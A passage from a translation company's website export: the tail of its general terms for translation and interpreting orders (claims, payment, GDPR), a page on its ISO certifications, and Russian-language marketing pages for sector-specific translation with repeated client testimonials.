specified in the Order. 2. 6. If the Contractor delays the Order without a valid reason, the Customer has the right to claim a penalty of 0. 1% of the order amount for each day of delay, but not more than 10% of the Order price. 2. 7. If, for evidentiary reasons, it is not possible to transfer the Order to the Customer in the predefined manner, the Contractor shall choose another type of order transfer, the expenses of which shall be covered by the Customer, regarding which it is notified in advance. 2. 8. If the Customer fails to submit a claim within the time period specified and does not give a valid reason, but refuses to accept the duly executed Order, the Order is deemed to be executed, and the Contractor has the right to issue an invoice which the Customer is obligated to pay. 3. INTERPRETATIONS 3. 1. The Contractor, in accordance with Paragraph 1, agrees on the Order and executes the Order (interpretation) in the agreed upon language and time. 3. 2. The Customer undertakes to duly execute the Order accepted and pay the Contractor the agreed price. 3. 3. The Contractor shall provide interpretation through the interpreter. 3. 4. The Customer is obligated to accept the interpretation within the prescribed time limit and in the manner indicated on the order form. 3. 5. If the interpretation was performed in accordance with the requirements and within the deadline and the Client has not encountered any claims, the Customer or authorised representative is obliged to confirm in writing, after the interpretation, that the interpretation has been performed in the required quality and time. 3. 6. If the Customer fails to submit a claim within the time period specified and does not give a valid reason, but refuses to accept the duly executed Order, the Order is deemed to be executed, and the Contractor has the right to issue an invoice which the Customer is obligated to pay. 3. 7. The Contractor undertakes to keep all the information related to the subject of interpretation confidential and also undertakes to keep records of all additional material received by the Customer, in particular, confidential information. 3. 8. The Customer is not entitled to request the interpreter(s) to perform another activity not specified in the order; for example, translation, meeting record, etc. 3. 9. The Contractor has the right to request payment for all the working hours of the agreed interpreter(s), even if the Customer does not use all of this time. 3. 10. The Customer is obliged to provide appropriate working conditions for the specified type of interpretation, including technical equipment, if not ordered by the Contractor. 3. 11. The Customer is obliged to provide the interpreter’s transportation from the agreed place to the place where the interpretation is to be performed. 3. 12. In the case when the interpreter(s) uses private transportation, the Customer shall, by mutual agreement with the Contractor, cover all travel expenses of the interpreter(s). 3. 13. The Customer must provide the translator’s lodging – a single room with amenities. 3. 14. The Customer is obliged to provide the interpreter(s) with lunch and rest breaks of at least 30 minutes for every four translation hours. 3. 15. An interpretation day is eight (8) hours, including breaks. 3. 16. The Customer has the right to compensation for the time that the interpreter has missed. 4. RIGHTS AND OBLIGATIONS OF THE PARTIES 4. 1. If the Customer has an internally approved terminology list, it is desired that the Customer provides such to the Contractor at the time of execution of the Order, or to provide the Contractor with any other materials which help to choose the correct terminology or appoint the responsible person who will provide the necessary consultations. 4. 2. The Customer must send the materials to the Contractor (for example, protocols, reports, presentations or other materials) of the previous meeting at least three days prior to the interpretation. If this condition is not met, potential claims for the use of inaccurate terms during interpreting will not be considered. 4. 3. The Contractor is not responsible for possible consequences related to infringement of the Customer’s copyright. 4. 4. The Contractor undertakes to keep all the information related to the subject of interpretation confidential and also undertakes to keep records of all additional material received by the Customer, in particular, confidential information. 4. 5. The Customer undertakes not to contact the Contractor’s translator or interpreter without the consent of the Contractor. If the Contractor confirms that the Customer has communicated with a translator or interpreter, the Client undertakes not to disclose any information to the translator or interpreter relating to the particular content of the Customer and Contractor Agreement. If the provisions of this clause are violated, the Customer pays the Contractor a fine of EUR 500. 5. CLAIMS 5. 1. The Contractor’s Order has defects if it was not executed in accordance with the terms specified in the Order. 5. 2. A completed translation also has defects if it is not executed with the appropriate grammatical, stylistic or semantic quality. 5. 3. If the defects specified in Paragraphs 5. 1 and 5. 2 are not detected, the Order is deemed to be executed properly and in accordance with the requirements of the Customer. 5. 4. Claims must be submitted in writing (including by e-mail). The claims must be substantiated and must indicate the type of defects and, if possible, the number of defects. 5. 5. If the Contractor acknowledges the Customer’s claim as substantiated, the Contractor shall rework the Order. In this case, the Customer has the right to receive a discount on the Order price. 5. 6. The Customer is given an appropriate discount on the order if the Contractor acknowledges the Customer’s claim, which is not based on the defects mentioned in Section 5. 2 or in the case that the Customer refuses the proposed correction. 5. 7. The amount of the discount is determined based on a specialist’s opinion or by mutual agreement. 5. 8. If a dispute arises between the Parties in connection with a claim submitted within the term of the Customer, in which the defects specified in Paragraph 5. 2 are mentioned, both parties initially undertake to resolve the dispute out of court by choosing the opinion of a competent independent specialist. Both Parties shall agree on the specialist. 5. 9. The amount of the discount depends on the specialist’s opinion or agreement between the two parties. 5. 10. The Contractor shall be liable for any potential damages related to the defects made in the executed Order. The Parties agree that the amount of the claim for damages is limited and the damages are reimbursed up to the amount of the Order price. 5. 11. In the case of commercial translations, i. e. , if the Customer is a merchant, the Customer is obliged to submit claims of defects to the Contractor without undue delay after it has been noticed, however, not later than within 21 days after the receipt of the Order. 5. 12. If the Customer is a natural person, they are entitled to apply for a claim in accordance with the Consumer Rights Protection Law. 5. 13. A claim submitted late will not be considered and will be regarded as null and void. 6. PAYMENT PROCEDURE 6. 1. The price of the Order is based on the current Contractor price list and the price calculation method specified therein. 6. 2. If the approximate Order price is derived from the approximate number of units only, the price calculation is carried out by adding the real unit (in the target language of the translation) after execution of the translation. 6. 3. The Contractor has the right to issue an invoice for the provided services immediately after the execution of the Order, on the basis of the conditions specified in the Order. 6. 4. The basis for payment of the Order is an invoice issued by the Contractor and paid by the Customer by the end of the specified payment period. 6. 5. If the Customer misses the payment deadline, interest for a late payment is calculated on the amount of 0. 01% of the amount due for each day of delay of payment. 6. 6. In the case of any contractual payment delay, the Customer’s cash deposit is first credited as interest for late payment, but the remaining amount is credited to the amount of the debt in question. 6. 7. By agreement of both Parties, the Contractor may issue the Customer a prepayment invoice of 50% of the Order amount. The prepayment invoice must be paid within the deadline. 7. PERSONAL DATA PROTECTION OF NATURAL PERSONS 7. 1. The Parties undertake to comply with the requirements of the data protection laws of the persons, including Regulation of the European Parliament and of the Council No. 2016/679 on the protection of natural persons with regard to the processing of personal data and on the free movement of such data, and repealing Directive 95/46/EC (General Data Protection Regulation) namely to ensure that personal data: 7. 1. 1. will be processed in a lawful, fair and transparent way for data subjects; 7. 1. 2. will be processed for the execution of the Order, and the processing of personal data will not conflict with the Order; 7. 1. 3. will be processed in such a way so as to ensure the security of the data in compliance with regulatory enactments, i. e. protection against unauthorised or unlawful processing and accidental loss, destruction or damage by means of appropriate technical or organisational measures. 7. 2. Each Party shall be responsible for informing the persons (data subjects) of the processing of their personal data as the data controller. 7. 3. The Parties undertake not to transfer the received personal data to third parties without the prior written consent of the Party from which it has received personal data. If, in accordance with regulatory enactments, a Party is obliged to disclose personal data it has received, it is obligated to inform the Party from which it has received personal data, unless prohibited by law. 7. 4. The Contractor shall keep the Personal data received within the framework of this Agreement confidential for an indefinite period of time during the validity period of the Agreement and thereafter. 7. 5. The Contractor shall ensure that its employees and/or trustees and/or subcontractors comply with the confidentiality requirement referred to in this paragraph for an indefinite period of time, unless the laws and regulations of the EU or the Republic of Latvia have imposed an obligation on the Contractor to disclose this information to state and/or municipal authorities. 7. 6. The Parties shall ensure that only those employees, trustees, or subcontractors who are involved in the fulfilment of the Agreement have access to the Personal data received within the framework of this Agreement and only to such extent necessary for the performance of their duties in the fulfilment of the liabilities of the Agreement. 7. 7. The Contractor shall immediately inform not only the supervisory authority, but also the Customer regarding the cases in which a violation of the processing of the Personal data received within the framework of the Agreement has occurred or suspicions have arisen that it may occur. Notification should be made no later than 72 hours after the detection of the violation. 7. 8. The Parties confirm that the Personal data processing shall be performed in the European Union (EU) and the European Economic Area (EEA) Member States. 7. 9. The Parties shall be responsible for the provision and implementation of the relevant measures for Personal data protection (including the performance of technical and organisational measures, protection of personal data processing systems) in a way that the requirements of the laws and regulations of the European Union and the Republic of Latvia are followed, and unauthorised access to the Personal data is prevented. 8. THE PROCEDURE FOR DISPUTE SETTLEMENT 8. 1. Disputes arising from the execution of the Contract or in connection with this Agreement shall be settled by the Parties within 60 (sixty) days. The agreement on settlement of the dispute shall be made in writing and signed by both Parties. The agreement mentioned shall be attached to this Agreement. If no agreement is reached, the disputes shall be settled by the court in accordance with the procedure specified in the regulatory enactments of the Republic of Latvia. Date: 18. 08. 2021. --- > To increase the quality of services and improve the security measures, Skrivanek has implemented a number of management systems. - Published: 2017-12-20 - Modified: 2025-07-02 - URL: https://skrivanek.lv/kvalitate-un-drosiba/ - Translation Priorities: Optional In order to increase the quality of services offered, strengthen our position on the language service solutions market, and improve the environment and information security measures, Skrivanek Baltic has implemented a number of management systems. We are proud that Skrivanek Group was the first language service provider in Central and Eastern Europe that fully met the requirements of the ISO 9001 quality management system, and received a certificate from TÜV Suddeutschland Holding in 2002. Our company is also the holder of EN 17100:2015 professional certification specific for the translation industry, which specifies the requirements for the process of translation and all related aspects, including demonstrating quality and traceability. As an environmentally friendly company, we have introduced an environmental management system in accordance with EN ISO 14001. We are fully aware of the risks posed by all our activities during our work with information. For this reason we also decided to implement an information security management system according to the EN ISO/IEC 27001 standard in order to protect information against destruction, theft or misuse. We wish to establish credibility and the ability to effectively protect information about property belonging to us and our business partners, employees, the public and state administration and the general public in compliance with the legislation and our security regulations. In the autumn of 2021, Skrivanek Baltic also obtained the ISO 18587 certificate, which confirms that the company has implemented all the necessary procedures for ensuring the high-quality post-processing of machine-translated texts. The international standard for post-processing editing, or post-processing of machine-translated texts by a translator, is still relatively new. EN ISO 9001 The implementation of the EN ISO 9001:2015 quality management system proves that our company has implemented the necessary processes for our services to meet client demands as well as legislative requirements. Open certificate EN ISO 14001 The EN ISO 14001:2015 certificate confirms our company’s concern for the environment, including the use of environmentally-friendly technologies and materials for our business, sorting of waste, and only printing documents when really necessary. Open certificate EN 17100 At Skrivanek we work in accordance with the EN 17100:2015 translation process management standard. This means that our company complies with the stipulated requirements in terms of the selection of specialists, communication, project management, work procedures, use of technologies, and other industry-specifics. Open certificate ISO/IEC 27001 The implemented ISO/IEC 27001:2022 information security management system guarantees that our company has implemented information protection measures. It also provides the necessary control to ensure the security and confidentiality of the data that partners entrust us with. Open certificate ISO 18587 This standard is intended for language service companies to improve the quality of the post-editing process in a measurable and continuous manner. The ISO 18587 audit mainly covers the post-editing processes and workflow where the project manager and editor work together to complete the project. Open certificate ISO 13485 The ISO 13485 standard defines the requirements for a quality management system (QMS) specific to companies involved in the medical device industry. Its main goal is to ensure consistency, safety, and quality in products and services throughout all stages – from design and production to distribution and post-market support. Open certificate Frequently Asked Questions We provide great variety of language solutions – translation and interpreting services, localisation services, text adaptation, copywriting, DTP and language training. Interpreting is provided at conferences and business meetings, as well as during court proceedings. Translating includes specialised and general translations across a variety of industries. We are certified according to ISO 9001, EN 17100, EN ISO 14001, EN ISO 18587, ISO 27001, and ISO 13485. We are committed to confidentiality, take responsibility for everything we do, and are always on time! EN 17100 specifies requirements for all aspects of the translation process directly affecting the quality and delivery of translation services. For our clients’ peace of mind we have signed a professional liability agreement with the international insurance company Colonnade Insurance S. A. We also provide translations with notary certification or certify them ourselves. No, all translation orders are accepted and overseen by project managers, who form an effective link between clients and suppliers. Skrivanek Baltic translators and interpreters can provide services in more than 110 languages. INFORMATION SECURITY POLICY Read more QUALITY AND ENVIRONMENT MANAGEMENT POLICY Read more MORE THAN 30 YEARS ON THE MARKET! We have vast experience in translating texts on various subjects. 0+ Languages in different combinations 0+ million Words translated in 2024 0+ Language specialists 0 ISO certificates RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > This certificate is proof that the quality of Skrivanek services meets client expectations and legal requirements. - Published: 2017-12-20 - Modified: 2024-10-30 - URL: https://skrivanek.lv/kvalitate-un-drosiba/en-iso-9001-kvalitates-vadibas-sistemas-sertifikats/ - Translation Priorities: Optional EN ISO 9001:2015 – QUALITY MANAGEMENT SYSTEM --- > This certificate proves our commitment to the environment, including the use of environmentally friendly technologies and materials, recycling, etc. - Published: 2017-12-20 - Modified: 2024-10-30 - URL: https://skrivanek.lv/kvalitate-un-drosiba/en-iso-14001-vides-vadibas-sistemas-sertifikats/ - Translation Priorities: Optional EN ISO 14001:2015 – ENVIRONMENTAL MANAGEMENT SYSTEM --- > This proves that our recruitment of translation specialists, work process, use of technologies and other industry-specific aspects meet the requirements. - Published: 2017-12-20 - Modified: 2024-10-30 - URL: https://skrivanek.lv/kvalitate-un-drosiba/en-17100-tulkosanas-procesu-vadibas-sistemas-sertifikats/ - Translation Priorities: Optional EN 17100:2015 – TRANSLATION MANAGEMENT STANDART --- > As one of Skrivanek's values is responsibility towards clients, which includes data safety, we have introduced an information security management system. - Published: 2017-12-20 - Modified: 2024-10-30 - URL: https://skrivanek.lv/kvalitate-un-drosiba/iso-iec-27001-informacijas-drosibas-vadibas-sistemas-sertifikats/ - Translation Priorities: Optional ISO/IEC 27001:2022 – INFORMATION SECURITY MANAGEMENT SYSTEM --- > Šis sertifikatas - tai įrodymas, kad „Skrivanek“ teikiamų paslaugų kokybė atitinka klientų lūkesčius ir teisinius reikalavimus. - Published: 2017-12-20 - Modified: 2024-10-30 - URL: https://skrivanek.lv/kvalitate-un-drosiba/en-iso-9001-kvalitates-vadibas-sistemas-sertifikats/ - Translation Priorities: Optional EN ISO 9001:2015 – KOKYBĖS VADYBOS SISTEMOS SERTIFIKATAS --- > As one of Skrivanek's values is responsibility towards the client, which includes data safety, we have introduced an information security management system. - Published: 2017-12-20 - Modified: 2024-10-30 - URL: https://skrivanek.lv/kvalitate-un-drosiba/iso-iec-27001-informacijas-drosibas-vadibas-sistemas-sertifikats/ - Translation Priorities: Optional ISO / IEC 27001: 2013 – INFORMACIJOS SAUGUMO VALDYMO SISTEMOS SERTIFIKATAS --- > Качественные переводы, отвечающие специфике страховой отрасли: письменные, устные и нотариально заверенные. Локализация и языковые курсы. - Published: 2017-12-19 - Modified: 2023-01-24 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-apdrosinasanas-nozarei/ - Translation Priorities: Optional Страховая отрасль — это бизнес, построенный на доверии, где преуспевают только профессионалы. Для достижения желаемого результата вам необходим партнер, который знает специфику и терминологию отрасли, а также различные страховые услуги и может предоставить соответствующие решения. В команде Skrivanek работают устные и письменные переводчики с опытом работы в страховой отрасли, которые хорошо ориентируются в различных сегментах страхования — страховании недвижимости, здоровья и жизни, перестраховании, деловом страховании, автостраховании и т. д. , — поэтому наши услуги как нельзя лучше подходят для реализации ваших планов. Независимо от того, что вам нужно, — письменные переводы, устные переводы на семинарах или конференциях, редактирование текста — мы поможем вам достичь желаемого результата. Опыт наших специалистов гарантирует, что специализированные языковые услуги будут соответствовать выдвинутым требованиям. Мы учитываем стиль корпоративной коммуникации и используем отраслевую терминологию — текст не только будет корректным, но и поможет сформировать желаемый образ вашей компании. Выбирая услуги Skrivanek Baltic, вы можете быть уверены, что мы возьмем на себя ответственность за проделанную работу: от подготовки коммерческих материалов на любом иностранном языке до описания сложных медицинских манипуляций. Мы хорошо осведомлены о специфике страховой отрасли, следим за актуальными тенденциями и всегда готовы получать новые знания в этой области. МЫ ВЫПОЛНЯЕМ ПЕРЕВОДЫ ДЛЯ СТРАХОВОЙ ОТРАСЛИ ВО ВСЕХ ПОПУЛЯРНЫХ КОМБИНАЦИЯХ ЕВРОПЕЙСКИХ ЯЗЫКОВ. НАШИ УСЛУГИ ВКЛЮЧАЮТ: перевод общих договоров страхования; перевод условий и правил страхования; перевод договоров подряда о коллективном страховании; перевод предложений и бизнес-планов; перевод информации о застрахованных лицах и заявления на возмещение; перевод страховых сертификатов; перевод форм заявок и стандартных писем, касающихся обработки запросов; перевод любых маркетинговых материалов для популяризации и разъяснения ваших услуг; синхронный и последовательный перевод на различных мероприятиях, включая деловые встречи, семинары и конференции; предоставление других необходимых решений. МЫ С РАДОСТЬЮ ВЫСЛУШАЕМ ВАШИ ПОЖЕЛАНИЯ И ПОДГОТОВИМ СПЕЦИАЛЬНОЕ ПРЕДЛОЖЕНИЕ Отправить запрос Страхование Строительство Человеческие ресурсы (HR) Машиностроение и железнодорожная промышленность Туризм Сельское хозяйство Юриспруденция Медицина и клинические исследования Лесоводство Игры и ИТ Производство Государственные и муниципальные учреждения Торговля Реклама и маркетинг Финансы и банковская деятельность ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Переводы ереводы, отвечающие специфике строительной отрасли: письменные, устные и нотариально заверенные. Локализация и языковые курсы. - Published: 2017-12-19 - Modified: 2023-01-24 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-buvniecibas-nozare/ - Translation Priorities: Optional Если вы работаете в строительной отрасли, вы прекрасно знаете, как важны точность и соблюдение сроков. Вы профессионалы, которые стараются не допускать отклонений, потому что понимают значимость нюансов, и для вас важно, чтобы партнеры относились к своим заданиям столь же ответственно. Сотрудничая со строительными компаниями, Skrivanek выполняет корректные, терминологически точные письменные и устные переводы, а также скрупулезно соблюдает установленные сроки. В нашей команде работают опытные лингвисты, которые хорошо разбираются в вопросах, связанных со строительством, а менеджеры Skrivanek способны поддерживать бодрый темп работы даже в условиях повышенной сложности. Независимо от того, что вам нужно, — перевод письменного текста или услуги устного переводчика на деловой встрече — специалисты Skrivanek проследят за качественным исполнением любых работ. Мы можем перевести документы о корпоративных расходах, положения о конкурсах, спецификации, маркетинговые материалы, техническую проектную документацию и другие необходимые вам тексты. Наша команда состоит не только из филологов, но и из специалистов, имеющих образование и опыт работы в инженерно-технической отрасли, которые помогают нам корректно использовать специфическую терминологию. Строительство зданий, дорог и автомагистралей, специализированные строительные работы в помещениях, монтаж электропроводки, услуги архитекторов и другие строительные работы — мы заботимся о нюансах, чтобы перевод был технически точным и соответствовал всем требованиям клиента. МЫ ВЫПОЛНЯЕМ ПЕРЕВОДЫ ДЛЯ СТРОИТЕЛЬНОЙ ОТРАСЛИ ВО ВСЕХ ПОПУЛЯРНЫХ КОМБИНАЦИЯХ ЕВРОПЕЙСКИХ ЯЗЫКОВ. НАШИ УСЛУГИ ВКЛЮЧАЮТ: перевод технической документации проектов и их отдельных этапов; перевод различных маркетинговых материалов, в т. ч. коммерческих материалов, информационных листов и буклетов, в цифровом и печатном формате; перевод и оформление чертежей и схем, в т. ч. услуги DTP; перевод договоров подряда на строительство, строительных правил и лицензий; перевод смет и сертификатов; перевод текстов на архитектурную тематику; синхронный и последовательный перевод на различных мероприятиях, включая конференции, бизнес-ланчи, ужины и деловые встречи; специализированные языковые курсы; другие необходимые услуги. МЫ С РАДОСТЬЮ ВЫСЛУШАЕМ ВАШИ ПОЖЕЛАНИЯ И ПОДГОТОВИМ СПЕЦИАЛЬНОЕ ПРЕДЛОЖЕНИЕ Отправить запрос Страхование Строительство Человеческие ресурсы (HR) Машиностроение и железнодорожная промышленность Туризм Сельское хозяйство Юриспруденция Медицина и клинические исследования Лесоводство Игры и ИТ Производство Государственные и муниципальные учреждения Торговля Реклама и маркетинг Финансы и банковская деятельность ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Качественные переводы текстов финансовой и банковской тематики: письменные, устные и нотариально заверенные. Локализация и языковые курсы. - Published: 2017-12-19 - Modified: 2023-01-24 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-finansu-un-banku-nozarei/ - Translation Priorities: Optional Как финансовому специалисту вам требуется надежный партнер, который понимает специфику отрасли и может подсказать качественное решение. Skrivanek оказывает переводческие услуги предприятиям финансового сектора уже двадцати пяти лет. Независимо от того, что вам нужно, — перевод или редактирование документа, адаптация SEO-текста или услуги устного переводчика на встрече или конференции — специалисты Skrivanek помогут добиться наилучшего результата. Банки, финансовые организации, кредитные учреждения и другие компании, работающие в этой сфере, могут быть уверены в качестве наших услуг: мы владеем отраслевой терминологией, понимаем юридические нюансы, при необходимости можем адаптировать тексты к местным реалиям. Сотрудничая со Skrivanek, вы можете быть уверены, что получите проверенные решения и превосходное обслуживание: наши лингвисты имеют многолетний опыт работы в финансовой индустрии. Кроме того, мы сэкономим ваше время и деньги: при выполнении переводов и работе с текстами мы используем инновационные технологии, обеспечивая при этом высокий уровень безопасности данных и гарантируя, что информация не попадет к третьим лицам. Все работы координируются нашими опытными менеджерами, которые понимают потребности клиента и интегрируются в ваш коллектив в момент предоставления услуги. Наш международный опыт и обширная команда устных и письменных переводчиков помогут справиться с любым объемом работы даже в самые сжатые сроки. МЫ ВЫПОЛНЯЕМ ПЕРЕВОДЫ ДЛЯ ФИНАНСОВОЙ ОТРАСЛИ ВО ВСЕХ ПОПУЛЯРНЫХ КОМБИНАЦИЯХ ЕВРОПЕЙСКИХ ЯЗЫКОВ. НАШИ УСЛУГИ ВКЛЮЧАЮТ: перевод любых маркетинговых текстов — коммерческих материалов, руководств по стилю, информационных листов, имейл-кампаний и пр. — как в цифровом, так и печатном формате; перевод инвестиционных и рыночных отчетов, годовых отчетов, исследований финансового сектора; перевод различных договоров, правил и лицензий; локализацию программного обеспечения для предоставления финансовых услуг; синхронный и последовательный перевод на различных мероприятиях, включая конференции, бизнес-ланчи, ужины и деловые встречи; языковые курсы, включающие специализированную терминологию; другие необходимые услуги. МЫ С РАДОСТЬЮ ВЫСЛУШАЕМ ВАШИ ПОЖЕЛАНИЯ И ПОДГОТОВИМ СПЕЦИАЛЬНОЕ ПРЕДЛОЖЕНИЕ Отправить запрос Страхование Строительство Человеческие ресурсы (HR) Машиностроение и железнодорожная промышленность Туризм Сельское хозяйство Юриспруденция Медицина и клинические исследования Лесоводство Игры и ИТ Производство Государственные и муниципальные учреждения Торговля Реклама и маркетинг Финансы и банковская деятельность ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Переводы, отвечающие специфике области HR-менеджмента: письменные, устные и нотариально заверенные. Локализация и языковые курсы. - Published: 2017-12-19 - Modified: 2023-01-24 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-hr-nozarei/ - Translation Priorities: Optional Если вы работаете в сфере человеческих ресурсов (HR), ваша цель — найти квалифицированных работников, которые могли бы внести свой вклад в ваши проекты. Команда Skrivanek объединяет профессиональных лингвистов, которые помогут вам найти нужные слова на иностранном языке и привлечь к сотрудничеству лучших специалистов в своей области. Это особенно важно при поиске сотрудников, которые должны уметь общаться на разных языках: с помощью нашего уникального инструмента FOCUS вы сможете быстро проверить кандидатов на способность общаться в иноязычной среде, а также определить их уровень владения тем или иным языком. Если потребуется улучшить языковые навыки имеющихся работников, с радостью будем ждать вас в Языковой школе Skrivanek Baltic, которая предлагает языковые курсы разной интенсивности для людей с любым уровнем знаний. Качество нашей Языковой школы подтверждается тем фактом, что именно мы организовывали интенсивные языковые курсы для чиновников в рамках подготовки к председательству Латвии в Совете Европейского союза. В области трудовых ресурсов важную роль играет возможность передавать сотрудникам единое представление о ценностях компании, независимо от языка, на котором происходит общение. Специалисты Skrivanek выполнят точный перевод на любой распространенный европейский язык — как письменно, так и в устно — и проследят за тем, чтобы главная мысль была передана в полном объеме. Мы всегда готовы качественно перевести любые необходимые материалы: трудовые договоры, правила компании, внутренние корпоративные доклады и другие сообщения. Наши специалисты хорошо знают нюансы, отличающие конкретную культуру и рынок от других, и могут создать текст для определенной страны и носителей определенного языка; также мы занимаемся адаптацией текстов — облегчаем их восприятие заданной целевой аудиторией. МЫ ВЫПОЛНЯЕМ ПЕРЕВОДЫ ДЛЯ ОТРАСЛИ ЧЕЛОВЕЧЕСКИХ РЕСУРСОВ ВО ВСЕХ ПОПУЛЯРНЫХ КОМБИНАЦИЯХ ЕВРОПЕЙСКИХ ЯЗЫКОВ. НАШИ УСЛУГИ ВКЛЮЧАЮТ: перевод трудовых договоров и прочих соглашений; участие в собеседованиях и оценку языковой компетенции кандидатов; перевод правил внутреннего распорядка; перевод коммуникационных материалов для внутреннего использования; перевод писем с отзывами; синхронный и последовательный перевод на различных мероприятиях, включая конференции, бизнес-ланчи, ужины и деловые встречи; групповое и индивидуальное обучение языкам; использование инструмента FOCUS при отборе персонала; другие необходимые услуги. МЫ С РАДОСТЬЮ ВЫСЛУШАЕМ ВАШИ ПОЖЕЛАНИЯ И ПОДГОТОВИМ СПЕЦИАЛЬНОЕ ПРЕДЛОЖЕНИЕ Отправить запрос Страхование Строительство Человеческие ресурсы (HR) Машиностроение и железнодорожная промышленность Туризм Сельское хозяйство Юриспруденция Медицина и клинические исследования Лесоводство Игры и ИТ Производство Государственные и муниципальные учреждения Торговля Реклама и маркетинг Финансы и банковская деятельность ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и 